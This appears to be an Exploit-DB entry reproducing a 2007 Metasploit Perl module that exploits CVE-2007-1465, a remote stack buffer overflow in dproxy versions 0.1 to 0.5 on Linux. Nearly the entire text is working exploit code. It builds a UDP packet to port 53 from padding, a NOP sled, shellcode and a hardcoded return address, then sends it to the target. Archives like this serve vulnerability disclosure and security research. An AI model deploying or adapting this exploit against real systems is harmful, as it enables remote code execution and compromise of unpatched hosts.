dproxy <= 0.5 - Remote Buffer Overflow Exploit meta 2.7

2007-03-23T00:00:00
ID EDB-ID:3554
Type exploitdb
Reporter Alexander Klink
Modified 2007-03-23T00:00:00

Description

dproxy <= 0.5 Remote Buffer Overflow Exploit (meta 2.7). CVE-2007-1465. Remote exploit for linux platform

                                        
                                            # MetaSploit exploit for remote buffer overflow issue in dproxy
# Written in 2007 by Alexander Klink
# (c) 2007 Cynops GmbH
# released under the same license as MSF (Artistic, GPL dual-licensed)
# $Revision: 1.1 $

package Msf::Exploit::dproxy;
use strict;
use base 'Msf::Exploit';
use Msf::Socket::Udp;
use Pex::Text;

my $advanced = { };

my $info = {
    'Name'     =&gt; 'dproxy v0.1 - v0.5 buffer overflow exploit',
    'Version'  =&gt; '$Revision: 1.1 $',

    'Authors' =&gt; [ 'Alexander Klink, Cynops GmbH', ],
    'Arch'    =&gt; [ 'x86' ],
    'OS'      =&gt; [ 'linux'],
    'Priv'    =&gt; 0,

    'UserOpts'  =&gt; {
        'RHOST' =&gt; [1, 'ADDR', 'The target address'],
    },
    'Payload' =&gt; {
        'Space'     =&gt; 500,
        'BadChars'  =&gt; "\x00",
    },
    'Description'  =&gt; Pex::Text::Freeform(qq{
      This exploits a buffer overflow in dproxy version 0.1 to 0.5.
    }),
    'Refs' =&gt; [
        [ 'CVE', '2007-1465' ],
    ],

    'DefaultTarget' =&gt; 0,
    'Targets' =&gt; [
        ['Linux', 0xbfffe480],
    ],
    'Keys' =&gt; [ 'dproxy' ],
    'DisclosureDate' =&gt; 'Mar 20 2007',
};

sub new {
    my $class = shift;
    my $self = $class-&gt;SUPER::new(
        {
          'Info'     =&gt; $info,
          'Advanced' =&gt; $advanced
        }, @_
    );

    return $self;
}

sub Exploit {
  my $self = shift;

  my $targetHost     = $self-&gt;GetVar('RHOST');
  my $targetPort     = 53;
  my $targetIndex    = $self-&gt;GetVar('TARGET');
  my $srcPort        = $self-&gt;GetVar('CPORT');
  my $encodedPayload = $self-&gt;GetVar('EncodedPayload');
  my $shellcode      = $encodedPayload-&gt;Payload;
  my $target         = $self-&gt;Targets-&gt;[$targetIndex];

  if (! $self-&gt;InitNops(512)) {
      $self-&gt;PrintLine("Could not initialize the nop module");
      return;
  }
  my $sock = Msf::Socket::Udp-&gt;new(
    'PeerAddr'  =&gt; $targetHost,
    'PeerPort'  =&gt; $targetPort,
    'LocalPort' =&gt; $srcPort,
  );
  if($sock-&gt;IsError) {
    $self-&gt;PrintLine('Error creating socket: ' . $sock-&gt;GetError);
    return;
  }

  $self-&gt;PrintLine('Trying ' . $target-&gt;[0] . ' (' . $targetHost . ')');

  my $evil = 'A' x 1000 . $self-&gt;MakeNops(500) . $shellcode
      . 'A' x (2073 - 1500 - length($shellcode)) . pack('V', $target-&gt;[1]);

  $sock-&gt;Send($evil);

  return;
}

1;

# milw0rm.com [2007-03-23]